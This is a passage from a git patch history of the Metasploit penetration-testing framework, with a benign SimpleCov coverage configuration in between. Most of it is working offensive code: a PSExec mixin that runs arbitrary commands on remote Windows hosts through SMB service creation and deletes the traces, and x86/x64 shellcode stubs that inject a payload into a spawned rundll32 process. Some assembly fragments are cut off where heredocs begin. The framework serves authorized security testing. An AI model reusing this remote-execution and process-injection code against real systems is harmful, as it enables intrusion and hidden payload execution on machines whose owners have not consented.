print_error("#{peer} - Unable to delte #{file}. #{file_rm_error}") - return - end - end - end - end end From a2f66a8fef6dc2620e0a54d4b53a32bd36a85d7c Mon Sep 17 00:00:00 2001 From: Royce Davis Date: Fri, 18 Jan 2013 09:33:44 -0600 Subject: [PATCH 013/448] Fixed msftidy complaints --- lib/msf/core/exploit/psexec.rb | 330 ++++++++++++++++----------------- 1 file changed, 165 insertions(+), 165 deletions(-) diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index 9763b6d1f7..b10e1453f3 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -10,190 +10,190 @@ module Msf module Exploit::Remote::Psexec - include Msf::Exploit::Remote::DCERPC - include Msf::Exploit::Remote::SMB + include Msf::Exploit::Remote::DCERPC + include Msf::Exploit::Remote::SMB - # Retrives output from the executed command - # @param smbshare [String] The SMBshare to connect to. Usually C$ - # @param ip [IP Address] Remote Host to Connect To - # @param file [File name] Path to the output file relative to the smbshare - # Example: '\WINDOWS\Temp\outputfile.txt' - # @return output or nil if fails - def get_output(smbshare, ip, file) - begin - print_status("Getting the command output...") - simple.connect("\\\\#{ip}\\#{smbshare}") - outfile = simple.open(file, 'ro') - output = outfile.read - outfile.close - simple.disconnect("\\\\#{ip}\\#{smbshare}") - return output - rescue Rex::Proto::SMB::Exceptions::ErrorCode => output_error - print_error("#{peer} - The file #{file} doesn't exist. #{output_error}.") - return nil - end - end + # Retrives output from the executed command + # @param smbshare [String] The SMBshare to connect to. Usually C$ + # @param ip [IP Address] Remote Host to Connect To + # @param file [File name] Path to the output file relative to the smbshare + # Example: '\WINDOWS\Temp\outputfile.txt' + # @return output or nil if fails + def get_output(smbshare, ip, file) + begin + print_status("Getting the command output...") + simple.connect("\\\\#{ip}\\#{smbshare}") + outfile = simple.open(file, 'ro') + output = outfile.read + outfile.close + simple.disconnect("\\\\#{ip}\\#{smbshare}") + return output + rescue Rex::Proto::SMB::Exceptions::ErrorCode => output_error + print_error("#{peer} - The file #{file} doesn't exist. #{output_error}.") + return nil + end + end - # This method executes a single windows command. If you want to - # retrieve the output of your command you'll have to echo it - # to a .txt file and then use the get_output method to retrieve it - # Make sure to use the cleanup_after method when you are done. - # @param command [String] Should be a valid windows command - # @return true if everything wen't well - def psexec(command) + # This method executes a single windows command. If you want to + # retrieve the output of your command you'll have to echo it + # to a .txt file and then use the get_output method to retrieve it + # Make sure to use the cleanup_after method when you are done. + # @param command [String] Should be a valid windows command + # @return true if everything wen't well + def psexec(command) - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") + simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) - vprint_status("#{peer} - Binding to #{handle} ...") - dcerpc_bind(handle) - vprint_status("#{peer} - Bound to #{handle} ...") + handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) + vprint_status("#{peer} - Binding to #{handle} ...") + dcerpc_bind(handle) + vprint_status("#{peer} - Bound to #{handle} ...") - vprint_status("#{peer} - Obtaining a service manager handle...") - scm_handle = nil - stubdata = - NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) - begin - response = dcerpc.call(0x0f, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - scm_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + vprint_status("#{peer} - Obtaining a service manager handle...") + scm_handle = nil + stubdata = + NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F) + begin + response = dcerpc.call(0x0f, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + scm_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - servicename = Rex::Text.rand_text_alpha(11) - displayname = Rex::Text.rand_text_alpha(16) - holdhandle = scm_handle - svc_handle = nil - svc_status = nil + servicename = Rex::Text.rand_text_alpha(11) + displayname = Rex::Text.rand_text_alpha(16) + holdhandle = scm_handle + svc_handle = nil + svc_status = nil - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( command ) + - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password - begin - vprint_status("#{peer} - Creating the service...") - response = dcerpc.call(0x0c, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( command ) + + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password + begin + vprint_status("#{peer} - Creating the service...") + response = dcerpc.call(0x0c, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception - end + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception + end - vprint_status("#{peer} - Opening service...") - begin - stubdata = - scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) + vprint_status("#{peer} - Opening service...") + begin + stubdata = + scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) - response = dcerpc.call(0x10, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - svc_handle = dcerpc.last_response.stub_data[0,20] - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + response = dcerpc.call(0x10, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + svc_handle = dcerpc.last_response.stub_data[0,20] + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Starting the service...") - stubdata = - svc_handle + NDR.long(0) + NDR.long(0) - begin - response = dcerpc.call(0x13, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - return false - end + vprint_status("#{peer} - Starting the service...") + stubdata = + svc_handle + NDR.long(0) + NDR.long(0) + begin + response = dcerpc.call(0x13, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + return false + end - vprint_status("#{peer} - Removing the service...") - stubdata = - svc_handle - begin - response = dcerpc.call(0x02, stubdata) - if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil - end - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end + vprint_status("#{peer} - Removing the service...") + stubdata = + svc_handle + begin + response = dcerpc.call(0x02, stubdata) + if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil + end + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end - vprint_status("#{peer} - Closing service handle...") - begin - response = dcerpc.call(0x0, svc_handle) - rescue ::Exception => e - print_error("#{peer} - Error: #{e}") - end + vprint_status("#{peer} - Closing service handle...") + begin + response = dcerpc.call(0x0, svc_handle) + rescue ::Exception => e + print_error("#{peer} - Error: #{e}") + end - select(nil, nil, nil, 1.0) - simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") - return true - end + select(nil, nil, nil, 1.0) + simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") + return true + end - # This method is called by file_dropper to remove files droped - # By your module - # - # @example - # file_rm('C:\WINDOWS\Temp\output.txt') - # - # @param file [String] Full path to a file on the remote host - # @return [StandardError] only in the event of an error - def file_rm(file) - delete = "%COMSPEC% /C del #{file}" - vprint_status("#{peer} - Deleting #{file}") - psexec(delete) - end + # This method is called by file_dropper to remove files droped + # By your module + # + # @example + # file_rm('C:\WINDOWS\Temp\output.txt') + # + # @param file [String] Full path to a file on the remote host + # @return [StandardError] only in the event of an error + def file_rm(file) + delete = "%COMSPEC% /C del #{file}" + vprint_status("#{peer} - Deleting #{file}") + psexec(delete) + end - # This method stores files in an Instance array - # The files are then deleted from the remote host once - # the cleanup_after method is called - # - # @example - # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") - # @param file [String] Full path to the file on the remote host - def register_file_for_cleanup(*file) - @dropped_files ||= [] - @dropped_files += file - end + # This method stores files in an Instance array + # The files are then deleted from the remote host once + # the cleanup_after method is called + # + # @example + # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt") + # @param file [String] Full path to the file on the remote host + def register_file_for_cleanup(*file) + @dropped_files ||= [] + @dropped_files += file + end - # This method removes any files that were dropped on the remote system - # and marked with the register_file_for_cleanup method - def cleanup_after - print_status("#{peer} - Removing files dropped by your module/exploit") - if !@dropped_files - return - end - begin - @dropped_files.delete_if do |file| - file_rm(file) - print_good("#{peer} - Deleted #{file}") - end - rescue ::Exception => cleanup_error - print_error("#{peer} - Unable to delte #{file}. #{cleanup_error}") - end - end + # This method removes any files that were dropped on the remote system + # and marked with the register_file_for_cleanup method + def cleanup_after + print_status("#{peer} - Removing files dropped by your module/exploit") + if !@dropped_files + return + end + begin + @dropped_files.delete_if do |file| + file_rm(file) + print_good("#{peer} - Deleted #{file}") + end + rescue ::Exception => cleanup_error + print_error("#{peer} - Unable to delte #{file}. #{cleanup_error}") + end + end end From e2ed4f25eba54174f0f87a9d2dbbe40d2d334504 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 18 Jan 2013 10:02:04 -0600 Subject: [PATCH 014/448] Groups for simplecov report Add Changed group that will show the coverage for any untracked, unstaged, or staged file so developers can more easily see if that their changes are covered. Other groups added for different libraries under lib. --- .simplecov | 50 ++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 .simplecov diff --git a/.simplecov b/.simplecov new file mode 100644 index 0000000000..d3b12fe6bb --- /dev/null +++ b/.simplecov @@ -0,0 +1,50 @@ +SimpleCov.configure do + # ignore this file + add_filter '.simplecov' + + # + # Changed Files in Git Group + # @see http://fredwu.me/post/35625566267/simplecov-test-coverage-for-changed-files-only + # + + untracked = `git ls-files --exclude-standard --others` + unstaged = `git diff --name-only` + staged = `git diff --name-only --cached` + all = untracked + unstaged + staged + changed_filenames = all.split("\n") + + add_group 'Changed' do |source_file| + changed_filenames.detect { |changed_filename| + source_file.filename.end_with?(changed_filename) + } + end + + # + # Framework (msf) related groups + # + + add_group 'Metasploit Framework', 'lib/msf' + add_group 'Metasploit Framework (Base)', 'lib/msf/base' + add_group 'Metasploit Framework (Core)', 'lib/msf/core' + + # + # Other library groups + # + + add_group 'Fastlib', 'lib/fastlib' + add_group 'Metasm', 'lib/metasm' + add_group 'PacketFu', 'lib/packetfu' + add_group 'Rex', 'lib/rex' + add_group 'RKelly', 'lib/rkelly' + add_group 'Ruby Mysql', 'lib/rbmysql' + add_group 'Ruby Postgres', 'lib/postgres' + add_group 'SNMP', 'lib/snmp' + add_group 'Zip', 'lib/zip' + + # + # Specs are reported on to ensure that all examples are being run and all + # lets, befores, afters, etc are being used. + # + + add_group 'Specs', 'spec' +end From 3c2c808457b1dc3a9ea3bc23d1ad463b10d76b5e Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Fri, 18 Jan 2013 11:12:16 -0600 Subject: [PATCH 015/448] Better Rubymine compatibility for .simplecov Rubymine's code coverage tools separate collection from reporting so that multiple runs can have their data merged. To separate, collecting from reporting, SimpleCov.start is only run when not using Rubymine (as indicated by a lack of the RM_INFO environment variable). This way, `rake spec` will collect coverage info and generate the report as before, but Rubymine will only collect coverage when using 'Run ... with coverage enabled' button and will only generate a report when using 'Generate Coverage Report' as is the intended behavior in Rubymine. --- .simplecov | 8 ++++++++ spec/spec_helper.rb | 6 ------ 2 files changed, 8 insertions(+), 6 deletions(-) diff --git a/.simplecov b/.simplecov index d3b12fe6bb..e8c1b367cf 100644 --- a/.simplecov +++ b/.simplecov @@ -1,3 +1,11 @@ +# RM_INFO is set when using Rubymine. In Rubymine, starting SimpleCov is +# controlled by running with coverage, so don't explicitly start coverage (and +# therefore generate a report) when in Rubymine. This _will_ generate a report +# whenever `rake spec` is run. +unless ENV['RM_INFO'] + SimpleCov.start +end + SimpleCov.configure do # ignore this file add_filter '.simplecov' diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb index cf27db43d6..23c7b0778f 100644 --- a/spec/spec_helper.rb +++ b/spec/spec_helper.rb @@ -11,12 +11,6 @@ $LOAD_PATH.unshift(lib_pathname.to_s) # must be first require and started before any other requires so that it can measure coverage of all following required # code. It is after the rubygems and bundler only because Bundler.setup supplies the LOAD_PATH to simplecov. require 'simplecov' -# Ensure the coverage directory is always the same no matter where the individual spec is in the hierarchy when using -# Rubymine to run one spec. -# -# @see https://github.com/colszowka/simplecov/issues/95 -SimpleCov.root(root_pathname) -SimpleCov.start require 'rspec/core' From 0b32111a9fcfbae133cbe5aef5cca8660ac965c2 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Sun, 21 Oct 2012 14:27:54 -0500 Subject: [PATCH 016/448] Revert "Revert "Merge branch 'migrator' of git://github.com/scriptjunkie/metasploit-framework into scriptjunkie-migrator"" This reverts commit 2436ac3a583bdb82944799698a10b6678890bd37. --- lib/msf/core/exploit.rb | 9 ++ lib/msf/core/payload/windows.rb | 202 +++++++++++++++++++++++++++++++- 2 files changed, 209 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 6d2afc913d..dd68fb16b0 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -1242,6 +1242,15 @@ class Exploit < Msf::Module not datastore['DisablePayloadHandler'] end + # + # Returns the state of the PrependMigrate option + # See https://github.com/rapid7/metasploit-framework/pull/917 + # for discussion. + # + def prepend_migrate? + datastore['PrependMigrate'] + end + ## # # Handler interaction diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 64f5914f02..58cad1073a 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -26,7 +26,7 @@ module Msf::Payload::Windows # This mixin is chained within payloads that target the Windows platform. # It provides special variable substitution for things like EXITFUNC and # automatically adds it as a required option for exploits that use windows - # payloads. + # payloads. It also provides the migrate prepend. # def initialize(info = {}) ret = super( info ) @@ -53,10 +53,208 @@ module Msf::Payload::Windows [ Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ]) ], Msf::Payload::Windows ) - + register_advanced_options( + [ + Msf::OptBool.new('PrependMigrate', [ true, "Spawns and runs shellcode in new process", false ]), + Msf::OptString.new('PrependMigrateProc', [ false, "Process to spawn and run shellcode in" ]) + ], Msf::Payload::Windows ) ret end + # + # Overload the generate() call to prefix our stubs + # + def generate(*args) + # Call the real generator to get the payload + buf = super(*args) + pre = '' + + test_arch = [ *(self.arch) ] + + # Handle all x86 code here + if (test_arch.include?(ARCH_X86)) + + # PrependMigrate + if (datastore['PrependMigrate']) + payloadsize = "0x%04x" % buf.length + procname = datastore['PrependMigrateProc'] || 'rundll32' + + migrate_asm = <Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list +next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name +loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table, + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... +finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp next_mod ; Process this module +;-------------------------------------------------------------------------------------- +start: ; + pop ebp ; Pop off the address of 'api_call' for calling later. + + ; get our own startupinfo at esp+0x60 + add esp,-400 ; adjust the stack to avoid corruption + mov edx,esp + add edx,0x60 + push edx + push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" ) + call ebp ; GetStartupInfoA( &si ); + + ; ptr to startupinfo is in eax + ; pointer to string is in ecx + jmp getcommand + gotcommand: + pop esi ; esi = address of process name (command line) + + ; create the process + mov edi,eax + add edi,0x60 ; Offset of empty space for lpProcessInformation + push edi ; lpProcessInformation : write processinfo here + push eax ; lpStartupInfo : current info (read) + xor ebx,ebx + push ebx ; lpCurrentDirectory + push ebx ; lpEnvironment + push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED + push ebx ; bInHeritHandles + push ebx ; lpThreadAttributes + push ebx ; lpProcessAttributes + push esi ; lpCommandLine + push ebx ; lpApplicationName + + push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" ) + call ebp ; CreateProcessA( &si ); + + ; allocate memory in the process (VirtualAllocEx()) + ; get handle + push 0x40 ; RWX + add bh,0x10 ; ebx = 0x1000 + push ebx ; MEM_COMMIT + push ebx ; size + xor ebx,ebx + push ebx ; address + push [edi] ; handle + push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" ) + call ebp ; VirtualAllocEx( ...); + + ; eax now contains the destination + ; WriteProcessMemory() + push esp ; lpNumberOfBytesWritten + push #{payloadsize} ; nSize + ; pick up pointer to shellcode & keep it on stack + jmp begin_of_payload + begin_of_payload_return: ; lpBuffer + push eax ; lpBaseAddress + push [edi] ; hProcess + push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" ) + call ebp ; WriteProcessMemory( ...); + + ; run the code (CreateRemoteThread()) + push ebx ; lpthreadID + push ebx ; run immediately + push ebx ; no parameter + mov ecx,[esp-0x4] + push ecx ; shellcode + push ebx ; stacksize + push ebx ; lpThreadAttributes + push [edi] + push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) + call ebp ; CreateRemoteThread( ...); + + ;sleep + push -1 + push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + call ebp ; Sleep( ... ); + +getcommand: + call gotcommand + db "#{procname}" + db 0x00 +begin_of_payload: + call begin_of_payload_return +EOS + + pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string + end + end + + return (pre + buf) + end + # # Replace the EXITFUNC variable like madness # From 725d4d719446f7be0f32eedbbb23f7c5eeba7ced Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Sat, 20 Oct 2012 12:14:53 -0500 Subject: [PATCH 017/448] Re-use block_api code in migrate stub if possible Makes payload significantly smaller. --- lib/msf/core/payload/windows.rb | 46 ++++++++++++++++++++++++++++----- 1 file changed, 40 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 58cad1073a..cd66e2f557 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -79,9 +79,11 @@ module Msf::Payload::Windows payloadsize = "0x%04x" % buf.length procname = datastore['PrependMigrateProc'] || 'rundll32' - migrate_asm = < Date: Sat, 20 Oct 2012 15:56:39 -0500 Subject: [PATCH 018/448] Fix error calculating payload sizes. Error meant most Windows payloads were marked as incompatible with many exploits. --- lib/msf/core/payload/windows.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index cd66e2f557..e3bb673c51 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -75,7 +75,7 @@ module Msf::Payload::Windows if (test_arch.include?(ARCH_X86)) # PrependMigrate - if (datastore['PrependMigrate']) + if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' payloadsize = "0x%04x" % buf.length procname = datastore['PrependMigrateProc'] || 'rundll32' From 15268cae7340ceec5022189b22ffd5b90957cc10 Mon Sep 17 00:00:00 2001 From: scriptjunkie Date: Sat, 27 Oct 2012 14:06:40 -0500 Subject: [PATCH 019/448] Add X64 PrependMigrate support --- lib/msf/core/payload/windows.rb | 227 +++++++++++++++++++++++++++++++- 1 file changed, 223 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index e3bb673c51..23897b9115 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -72,8 +72,7 @@ module Msf::Payload::Windows test_arch = [ *(self.arch) ] # Handle all x86 code here - if (test_arch.include?(ARCH_X86)) - + if test_arch.include?(ARCH_X86) # PrependMigrate if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' payloadsize = "0x%04x" % buf.length @@ -93,7 +92,7 @@ api_call: mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list next_mod: ; mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check + movzx ecx, word [edx+38] ; Set ECX to the length we want to check xor edi, edi ; Clear EDI which will store the hash of the module name loop_modname: ; xor eax, eax ; Clear EAX @@ -108,7 +107,7 @@ not_lowercase: ; ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later - ; Proceed to iterate the export address table, + ; Proceed to iterate the export address table mov edx, [edx+16] ; Get this modules base address mov eax, [edx+60] ; Get PE header add eax, edx ; Add the modules base address @@ -285,6 +284,226 @@ EOS pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string end + # Handle all x86 code here + elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) + # PrependMigrate + if datastore['PrependMigrate'] and datastore['PrependMigrate'].to_s.downcase == 'true' + payloadsize = "0x%04x" % buf.length + procname = datastore['PrependMigrateProc'] || 'rundll32' + + # Prepare instructions to get address of block_api into ebp + block_api_start = <Ldr + mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list +next_mod: ; + mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) + movzx rcx, word [rdx+74] ; Set rcx to the length we want to check + xor r9, r9 ; Clear r9 which will store the hash of the module name +loop_modname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase +not_lowercase: ; + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push rdx ; Save the current position in the module list for later + push r9 ; Save the current module hash for later + ; Proceed to itterate the export address table, + mov rdx, [rdx+32] ; Get this modules base address + mov eax, dword [rdx+60] ; Get PE header + add rax, rdx ; Add the modules base address + mov eax, dword [rax+136] ; Get export tables RVA + test rax, rax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add rax, rdx ; Add the modules base address + push rax ; Save the current modules EAT + mov ecx, dword [rax+24] ; Get the number of function names + mov r8d, dword [rax+32] ; Get the rva of the function names + add r8, rdx ; Add the modules base address + ; Computing the module hash + function hash +get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec rcx ; Decrement the function name counter + mov esi, dword [r8+rcx*4]; Get rva of next module name + add rsi, rdx ; Add the modules base address + xor r9, r9 ; Clear r9 which will store the hash of the function name + ; And compare it to the one we want +loop_funcname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the ASCII function name + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add r9, [rsp+8] ; Add the current module hash to the function hash + cmp r9d, r10d ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop rax ; Restore the current modules EAT + mov r8d, dword [rax+36] ; Get the ordinal table rva + add r8, rdx ; Add the modules base address + mov cx, [r8+2*rcx] ; Get the desired functions ordinal + mov r8d, dword [rax+28] ; Get the function addresses table rva + add r8, rdx ; Add the modules base address + mov eax, dword [r8+4*rcx]; Get the desired functions RVA + add rax, rdx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the drsired function... +finish: + pop r8 ; Clear off the current modules hash + pop r8 ; Clear off the current position in the module list + pop rsi ; Restore RSI + pop rcx ; Restore the 1st parameter + pop rdx ; Restore the 2nd parameter + pop r8 ; Restore the 3rd parameter + pop r9 ; Restore the 4th parameter + pop r10 ; pop off the return address + sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) + ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). + push r10 ; push back the return address + jmp rax ; Jump into the required function + ; We now automagically return to the correct caller... +get_next_mod: ; + pop rax ; Pop off the current (now the previous) modules EAT +get_next_mod1: ; + pop r9 ; Pop off the current (now the previous) modules hash + pop rdx ; Restore our position in the module list + mov rdx, [rdx] ; Get the next module + jmp next_mod ; Process this module +EOS + block_api_rbp_asm = < Date: Sat, 27 Oct 2012 14:09:03 -0500 Subject: [PATCH 020/448] tidy EOL spaces --- lib/msf/core/payload/windows.rb | 48 ++++++++++++++++----------------- 1 file changed, 24 insertions(+), 24 deletions(-) diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 23897b9115..6761c80782 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -116,7 +116,7 @@ not_lowercase: ; jz get_next_mod1 ; If no EAT present, process the next module add eax, edx ; Add the modules base address push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names + mov ecx, [eax+24] ; Get the number of function names mov ebx, [eax+32] ; Get the rva of the function names add ebx, edx ; Add the modules base address ; Computing the module hash + function hash @@ -135,14 +135,14 @@ loop_funcname: ; cmp al, ah ; Compare AL (the next byte from the name) to AH (null) jne loop_funcname ; If we have not reached the null terminator, continue add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for jnz get_next_func ; Go compute the next function hash if we have not found it ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva + mov ebx, [eax+36] ; Get the ordinal table rva add ebx, edx ; Add the modules base address mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; 